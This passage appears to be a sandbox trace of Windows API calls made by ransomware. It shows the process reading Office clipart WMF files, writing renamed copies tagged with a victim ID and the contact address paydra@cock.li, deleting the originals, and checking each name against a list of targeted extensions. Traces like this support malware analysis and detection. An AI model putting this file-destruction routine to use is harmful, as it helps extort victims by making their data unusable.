hTemplateFile=0x0) returned 0x23c [0059.037] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.037] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0059.037] GetLastError () returned 0x0 [0059.037] ReadFile (in: hFile=0x23c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0xeb8, lpOverlapped=0x0) returned 1 [0059.038] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec0, lpOverlapped=0x0) returned 1 [0059.039] ReadFile (in: hFile=0x23c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.039] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.039] SetEndOfFile (hFile=0x15c) returned 1 [0059.039] CloseHandle (hObject=0x15c) returned 1 [0059.039] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.040] SetEndOfFile (hFile=0x23c) returned 1 [0059.040] CloseHandle (hObject=0x23c) returned 1 [0059.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0059.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0059.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0059.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0059.041] lstrlenW (lpString=".doc") returned 4 [0059.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.041] lstrlenW (lpString=".docx") returned 5 [0059.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.041] lstrlenW (lpString=".pdf") returned 4 [0059.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.041] lstrlenW (lpString=".xls") returned 4 [0059.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.041] lstrlenW (lpString=".xlsx") returned 5 [0059.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.041] lstrlenW (lpString=".ppt") returned 4 [0059.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0059.041] lstrlenW (lpString=".zip") returned 4 [0059.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.041] lstrlenW (lpString=".rar") returned 4 [0059.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.041] lstrlenW (lpString=".bz2") returned 4 [0059.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.041] lstrlenW (lpString=".7z") returned 3 [0059.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0059.041] lstrlenW (lpString=".dbf") returned 4 [0059.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0059.041] lstrlenW (lpString=".1cd") returned 4 [0059.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0059.042] lstrlenW (lpString=".jpg") returned 4 [0059.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.042] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=3350) returned 1 [0059.042] CloseHandle (hObject=0x23c) returned 1 [0059.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 0x20 [0059.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0059.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0059.042] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.042] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0059.042] GetLastError () returned 0x0 [0059.043] ReadFile (in: hFile=0x23c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0xd16, lpOverlapped=0x0) returned 1 [0059.044] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0059.045] ReadFile (in: hFile=0x23c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.045] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0059.045] SetEndOfFile (hFile=0x15c) returned 1 [0059.045] CloseHandle (hObject=0x15c) returned 1 [0059.045] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.045] SetEndOfFile (hFile=0x23c) returned 1 [0059.046] CloseHandle (hObject=0x23c) returned 1 [0059.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0059.046] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 1 [0059.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0059.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0059.046] lstrlenW (lpString=".doc") returned 4 [0059.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.046] lstrlenW (lpString=".docx") returned 5 [0059.046] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0059.046] lstrlenW (lpString=".pdf") returned 4 [0059.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.047] lstrlenW (lpString=".xls") returned 4 [0059.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.047] lstrlenW (lpString=".xlsx") returned 5 [0059.047] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0059.047] lstrlenW (lpString=".ppt") returned 4 [0059.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0059.047] lstrlenW (lpString=".zip") returned 4 [0059.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.047] lstrlenW (lpString=".rar") returned 4 [0059.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.047] lstrlenW (lpString=".bz2") returned 4 [0059.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.047] lstrlenW (lpString=".7z") returned 3 [0059.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0059.047] lstrlenW (lpString=".dbf") returned 4 [0059.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0059.047] lstrlenW (lpString=".1cd") returned 4 [0059.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0059.047] lstrlenW (lpString=".jpg") returned 4 [0059.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.047] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=29004) returned 1 [0059.047] CloseHandle (hObject=0x23c) returned 1 [0059.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 0x20 [0059.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0059.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0059.048] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.048] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0059.048] GetLastError () returned 0x0 [0059.048] ReadFile (in: hFile=0x23c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x714c, lpOverlapped=0x0) returned 1 [0059.050] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x7150, lpOverlapped=0x0) returned 1 [0059.051] ReadFile (in: hFile=0x23c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.051] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.051] SetEndOfFile (hFile=0x15c) returned 1 [0059.051] CloseHandle (hObject=0x15c) returned 1 [0059.052] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.052] SetEndOfFile (hFile=0x23c) returned 1 [0059.055] CloseHandle (hObject=0x23c) returned 1 [0059.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0059.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0059.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0059.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0059.055] lstrlenW (lpString=".doc") returned 4 [0059.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.055] lstrlenW (lpString=".docx") returned 5 [0059.055] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0059.055] lstrlenW (lpString=".pdf") returned 4 [0059.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.055] lstrlenW (lpString=".xls") returned 4 [0059.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.055] lstrlenW (lpString=".xlsx") returned 5 [0059.055] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0059.055] lstrlenW (lpString=".ppt") returned 4 [0059.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0059.056] lstrlenW (lpString=".zip") returned 4 [0059.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.056] lstrlenW (lpString=".rar") returned 4 [0059.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.056] lstrlenW (lpString=".bz2") returned 4 [0059.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.056] lstrlenW (lpString=".7z") returned 3 [0059.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0059.056] lstrlenW (lpString=".dbf") returned 4 [0059.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0059.056] lstrlenW (lpString=".1cd") returned 4 [0059.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0059.056] lstrlenW (lpString=".jpg") returned 4 [0059.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.056] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1330) returned 1 [0059.056] CloseHandle (hObject=0x23c) returned 1 [0059.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x20 [0059.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0059.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0059.057] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.057] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0059.057] GetLastError () returned 0x0 [0059.057] ReadFile (in: hFile=0x23c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x532, lpOverlapped=0x0) returned 1 [0059.138] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x540, lpOverlapped=0x0) returned 1 [0059.139] ReadFile (in: hFile=0x23c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.140] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.140] SetEndOfFile (hFile=0x15c) returned 1 [0060.004] CloseHandle (hObject=0x15c) returned 1 [0060.005] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.005] SetEndOfFile (hFile=0x23c) returned 1 [0060.005] CloseHandle (hObject=0x23c) returned 1 [0060.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0060.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0060.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0060.407] lstrlenW (lpString=".doc") returned 4 [0060.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.407] lstrlenW (lpString=".docx") returned 5 [0060.407] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.407] lstrlenW (lpString=".pdf") returned 4 [0060.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.407] lstrlenW (lpString=".xls") returned 4 [0060.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.407] lstrlenW (lpString=".xlsx") returned 5 [0060.407] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.407] lstrlenW (lpString=".ppt") returned 4 [0060.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0060.407] lstrlenW (lpString=".zip") returned 4 [0060.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.407] lstrlenW (lpString=".rar") returned 4 [0060.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.407] lstrlenW (lpString=".bz2") returned 4 [0060.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.407] lstrlenW (lpString=".7z") returned 3 [0060.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0060.407] lstrlenW (lpString=".dbf") returned 4 [0060.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0060.407] lstrlenW (lpString=".1cd") returned 4 [0060.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0060.408] lstrlenW (lpString=".jpg") returned 4 [0060.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.408] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.408] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.408] GetLastError () returned 0x0 [0060.408] ReadFile (in: hFile=0x240, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x1f26, lpOverlapped=0x0) returned 1 [0060.645] WriteFile (in: hFile=0x20c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0060.646] ReadFile (in: hFile=0x240, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.646] WriteFile (in: hFile=0x20c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.646] SetEndOfFile (hFile=0x20c) returned 1 [0060.646] CloseHandle (hObject=0x20c) returned 1 [0060.646] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.646] SetEndOfFile (hFile=0x240) returned 1 [0060.647] CloseHandle (hObject=0x240) returned 1 [0060.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0060.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0060.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0060.647] lstrlenW (lpString=".doc") returned 4 [0060.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.647] lstrlenW (lpString=".docx") returned 5 [0060.647] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.647] lstrlenW (lpString=".pdf") returned 4 [0060.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.648] lstrlenW (lpString=".xls") returned 4 [0060.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.648] lstrlenW (lpString=".xlsx") returned 5 [0060.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.648] lstrlenW (lpString=".ppt") returned 4 [0060.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0060.648] lstrlenW (lpString=".zip") returned 4 [0060.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.648] lstrlenW (lpString=".rar") returned 4 [0060.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.648] lstrlenW (lpString=".bz2") returned 4 [0060.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.648] lstrlenW (lpString=".7z") returned 3 [0060.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 